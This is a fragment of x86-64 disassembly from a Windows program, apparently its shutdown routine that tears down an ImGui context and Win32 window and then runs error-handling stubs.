je 0x140048f8a
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x140048fae
jmp 0x140048f8d
mov rbx, r12
mov r8d, 0xa6
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasic_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140224020]
test rax, rax
jne 0x140048fd4
mov r8d, 0xfe4
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140224020]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x140048fee
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x140224020]
mov qword [rdi + 0x80], r12
mov qword [rdi + 0x90], r12
test rax, rax
je 0x140049007
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x140224020]
mov qword [0x140224020], rbx
call fcn.140006030
mov qword [0x140224020], r12
test rbx, rbx
je 0x140049052
mov rcx, rbx
call fcn.14001e860
mov rax, qword [0x140224020]
test rax, rax
je 0x140049049
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140043b10
mov rcx, qword [0x1402240e8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x150]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm9, xmmword [rsp + 0x4c0]
xor eax, eax
movaps xmm8, xmmword [rsp + 0x4d0]
movaps xmm12, xmmword [rsp + 0x490]
movaps xmm11, xmmword [rsp + 0x4a0]
movaps xmm10, xmmword [rsp + 0x4b0]
movaps xmm13, xmmword [rsp + 0x480]
movaps xmm14, xmmword [rsp + 0x470]
movaps xmm7, xmmword [rsp + 0x4e0]
movaps xmm6, xmmword [rsp + 0x4f0]
mov r15, qword [rsp + 0x538]
mov r14, qword [rsp + 0x530]
movaps xmm15, xmmword [rsp + 0x460]
mov rbx, qword [rsp + 0x540]
add rsp, 0x500
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x28], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x38], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140034f70
int3
call fcn.140001770
int3